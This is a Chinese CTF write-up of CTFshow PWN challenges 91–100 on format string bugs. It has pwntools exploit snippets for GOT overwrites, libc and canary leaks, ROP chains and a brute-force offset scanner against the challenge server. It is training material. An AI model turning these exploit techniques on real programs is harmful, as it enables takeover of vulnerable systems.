CTFshow---格式化字符串漏洞实战解析[91-100]
2026/4/18 0:19:40 网站建设 项目流程

1. 格式化字符串漏洞基础入门

格式化字符串漏洞是二进制安全领域中最经典的漏洞类型之一,它源于程序员错误使用printf等格式化函数时,允许用户控制格式化字符串内容。想象一下,你本想让服务员按固定格式填写订单(比如"咖啡:%s 糖量:%d"),结果服务员直接把你的原始输入当成指令执行了——这就是格式化字符串漏洞的本质。

在CTF比赛中,这类漏洞常出现在PWN题型中。以PWN91为例,题目给出了一个简单的判断条件:当变量daniu等于6时就能获得shell。通过反汇编可以看到,这个变量存储在0x0804B038地址处。关键突破点在于发现程序使用printf时直接使用了用户输入作为格式化字符串。

调试过程发现格式化字符串的偏移是7(这个数字需要通过调试或暴力尝试确定),于是构造payload时先用p32打包目标地址,再通过"%2c%7$hhn"将内存中daniu的值修改为6。这里的技巧在于:

  • %2c表示输出2个字符(用于控制写入的数值)
  • %7$hhn表示将前面输出的字符数(2)写入第7个参数指向的地址
  • hhn表示按字节写入,避免影响相邻内存

2. 内存泄露与地址计算实战

PWN94和PWN95展示了更高级的利用技巧——通过格式化字符串泄露内存数据。就像侦探通过碎片信息拼凑完整线索一样,我们可以利用%s等格式化符读取任意地址内容。

以PWN95为例,典型攻击分三步走:

  1. 泄露libc基地址:通过格式化字符串读取puts函数的GOT表项
puts_got = elf.got['puts'] payload = p32(puts_got)+b"%6$s" # %6$s表示读取第6个参数指向的内容 sl(payload) puts_addr = u32(io.recvuntil(b"\xf7")[-4:])
  1. 计算关键函数地址:利用泄露的地址计算system等函数位置
libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system")
  1. 篡改GOT表:将printf等函数的GOT表项修改为system地址
payload = fmtstr_payload(6, {printf_got:system_addr}, numbwritten=0)

特别要注意的是,不同版本的libc中函数偏移可能不同。在实际操作中,我经常遇到本地和远程环境libc版本不一致的情况,这时候LibcSearcher工具就派上大用场了。

3. 高级利用技巧与绕过方法

PWN98和PWN100展示了格式化字符串漏洞的进阶用法。PWN98需要同时处理栈溢出保护和格式化字符串漏洞,就像既要撬开保险箱又要破解密码锁。

关键步骤包括:

  1. 泄露canary值:通过%15$p泄露栈中的canary
payload = p32(puts_got)+b"%5$s.%15$p" sl(payload) canary = int(r(8),16)
  1. 构造ROP链:在payload中正确放置canary后注入ROP链
payload = b"a"*(0x34-12)+p32(canary)+p32(0)*3 payload += p32(system_addr)+p32(0x0804876B)+p32(binsh)

PWN100则更为复杂,需要处理标准输出被关闭的情况。我的解决思路是:

  1. 先通过%7$n将限制计数器a1清零
  2. 使用%16$p泄露栈地址计算返回地址位置
  3. 精心构造payload修改返回地址指向目标函数

这种多阶段利用就像玩解谜游戏,必须按特定顺序触发各个机关。在实际操作中,我经常用gdb的vmmap命令查看内存布局,结合x/i $pc等命令分析执行流程。

4. 自动化利用与技巧总结

PWN99展示了两种不同的解题思路:暴力泄露和精确扫描。对于新手来说,建议先用暴力方法感受漏洞特征:

payload = b"a"*8 + b"%p.%p"*2000

而更优雅的解决方案是编写自动化扫描脚本:

def leak(payload): io = remote('pwn.challenge.ctf.show',28216) io.sendline(payload) data = io.recvuntil('\n', drop=True) if data.startswith(b'0x'): print(p64(int(data, 16))) io.close() i = 1 while True: payload = '%{}$p'.format(i) leak(payload) i += 1

在实战中我总结了几个关键点:

  • 偏移量确定:建议先发送AAAA%p%p...测试,找到AAAA的起始位置
  • 内存写入控制:优先使用hhn(单字节)而非hn(双字节),避免意外修改相邻内存
  • 长度计算:注意payload中已输出的字符数对格式化字符串的影响
  • 错误处理:添加超时机制防止脚本卡死

最后要提醒的是,不同架构下的参数传递方式不同。x86是栈传参,而x86_64前六个参数通过寄存器传递。在PWN100这种64位程序中,需要特别注意寄存器与栈的混合使用情况。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询